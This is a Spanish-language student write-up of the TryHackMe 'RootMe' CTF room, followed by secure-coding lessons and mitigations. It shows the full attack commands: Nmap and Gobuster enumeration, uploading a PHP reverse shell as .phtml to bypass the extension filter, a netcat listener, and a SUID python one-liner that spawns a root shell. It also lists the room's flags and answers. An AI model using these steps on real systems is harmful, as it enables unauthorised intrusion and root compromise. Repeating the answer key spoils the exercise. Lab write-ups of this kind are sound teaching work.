Ciberseguridad Aplicada al Desarrollo de Software | TryHackMe: RootMe
1. Introducción
Este informe documenta la resolución de la sala «RootMe» de TryHackMe, un CTF (Capture The Flag)
diseñado para principiantes cuyo objetivo es «rootear» una máquina Linux. El reto integra las fases
fundamentales de una intrusión: reconocimiento de servicios, enumeración de directorios web, obtención
de una shell mediante la carga de un archivo malicioso y escalada de privilegios abusando de un binario
con permiso SUID.
El laboratorio se compone de cuatro tareas: despliegue de la máquina, reconocimiento, obtención de una
shell y escalada de privilegios. Se documentan las herramientas empleadas, los comandos ejecutados y
las respuestas de cada tarea, incluidas las flags de usuario y de root.
Ficha técnica del laboratorio
Pregunta Respuesta
Plataforma TryHackMe
Sala RootMe
Sistema objetivo Linux (Apache 2.4.41)
Vectores Carga de archivos (.phtml) + SUID
(python)
Nivel Fácil / Principiante
Herramientas Nmap, Gobuster, PHP reverse
shell, Netcat
2. Metodología
Se siguió una metodología de pentesting por fases: reconocimiento activo con Nmap, enumeración de
directorios con Gobuster, explotación de la funcionalidad de carga de archivos para obtener una reverse
shell y, finalmente, escalada de privilegios mediante un binario SUID. Todas las pruebas se realizaron en
el entorno controlado y autorizado de TryHackMe.
3. Tarea 1 — Despliegue de la máquina
Se desplegó la máquina objetivo y se estableció la conexión a través de la VPN de TryHackMe o el
AttackBox. Esta tarea prepara el entorno y no requiere respuestas.
4. Tarea 2 — Reconocimiento (Reconnaissance)
Se comenzó recopilando información del objetivo con Nmap para identificar los puertos abiertos, las
versiones de los servicios y detectar posibles vectores de ataque. A continuación se enumeraron
directorios del servidor web con Gobuster.
nmap -sC -sV <IP_OBJETIVO>
gobuster dir -u [Link] -w /usr/share/wordlists/dirb/[Link]
Página 1 de 5
Ciberseguridad Aplicada al Desarrollo de Software | TryHackMe: RootMe
El escaneo mostró dos puertos abiertos: el servicio SSH en el puerto 22 y el servidor web Apache 2.4.41.
La enumeración con Gobuster reveló un directorio oculto de interés, /panel/, que contiene un formulario
de carga de archivos.
Respuestas — Tarea 2
Pregunta Respuesta
Escanea la máquina, ¿cuántos puertos están abiertos? 2
¿Qué versión de Apache se ejecuta? 2.4.41
¿Qué servicio corre en el puerto 22? ssh
Encuentra directorios con Gobuster (no requiere respuesta) —
¿Cuál es el directorio oculto? /panel/
5. Tarea 3 — Obtención de una shell (Getting a shell)
El formulario de carga del directorio /panel/ filtra las extensiones para impedir la subida de archivos
peligrosos. Al igual que en otros retos, la extensión .php se encuentra bloqueada, pero la variante .phtml
es aceptada y ejecutada como PHP por el servidor.
Se subió una reverse shell en PHP con extensión .phtml y se puso a la escucha un listener con Netcat. Al
acceder al archivo cargado se estableció la conexión inversa, obteniendo una shell interactiva sobre el
sistema. Dentro de la máquina se localizó la flag de usuario en el archivo [Link].
# Listener en la máquina atacante
nc -lvnp <PUERTO>
# Estabilizar la shell obtenida
python -c 'import pty; [Link]("/bin/bash")'
# Buscar la flag de usuario
find / -name [Link] 2>/dev/null
cat [Link]
Respuestas — Tarea 3
Pregunta Respuesta
[Link] THM{y0u_g0t_a_sh3ll}
6. Tarea 4 — Escalada de privilegios
Con acceso al sistema, se buscaron binarios con el bit SUID activado para identificar rutas de escalada de
privilegios. Estos binarios se ejecutan con los permisos de su propietario, normalmente root.
find / -perm -u=s -type f 2>/dev/null
Página 2 de 5
Ciberseguridad Aplicada al Desarrollo de Software | TryHackMe: RootMe
El binario que llama la atención es /usr/bin/python, configurado con SUID. Esta configuración insegura
permite ejecutar código arbitrario con privilegios de root. Consultando la técnica correspondiente (por
ejemplo en GTFOBins), se invocó Python con el SUID activo para obtener una shell con UID 0.
/usr/bin/python -c 'import os; [Link](0); [Link]("/bin/bash")'
id # uid=0(root)
cat /root/[Link]
Una vez con privilegios de root se recuperó la flag final en el archivo [Link], completando el reto.
Respuestas — Tarea 4
Pregunta Respuesta
Busca archivos con permiso SUID, ¿cuál es raro? /usr/bin/python
Encuentra la forma de escalar privilegios (no requiere respuesta) —
[Link] THM{pr1v1l3g3_3sc4l4t10n}
7. Conclusiones
La sala «RootMe» consolida los fundamentos del pentesting en un flujo completo y coherente: desde el
reconocimiento hasta el control total del sistema. Se repite un patrón habitual en entornos reales: una
validación débil en la carga de archivos que permite ejecución remota de código, seguida de una escalada
de privilegios por un binario SUID mal configurado (en este caso, python).
Para el desarrollo de software seguro, el reto deja lecciones claras: nunca confiar en filtros de extensiones
basados en listas negras, validar el contenido real de los archivos, aislar los directorios de carga y aplicar
el principio de mínimo privilegio evitando otorgar SUID a intérpretes como Python.
8. Recomendaciones de mitigación
● Filtrar cargas de archivos con listas blancas y validación de tipo de contenido.
● Impedir la ejecución de scripts en los directorios de subida.
● Auditar los binarios con bit SUID y retirar el SUID de intérpretes como python.
● Actualizar y endurecer la configuración de Apache y SSH.
● Aplicar el principio de mínimo privilegio en todo el sistema.
Página 3 de 5
Ciberseguridad Aplicada al Desarrollo de Software | TryHackMe: RootMe
9. Anexo — Evidencias
A continuación se adjuntan las capturas de la sala «RootMe» completada al 100% en la plataforma
TryHackMe, mostrando todas las tareas y respuestas validadas como correctas.
Evidencia 1. Sala RootMe completada al 100%: vista general de las cuatro tareas.
Página 4 de 5
Ciberseguridad Aplicada al Desarrollo de Software | TryHackMe: RootMe
Evidencia 2. Tareas 2, 3 y 4: Reconnaissance, Getting a shell y Privilege escalation.
Página 5 de 5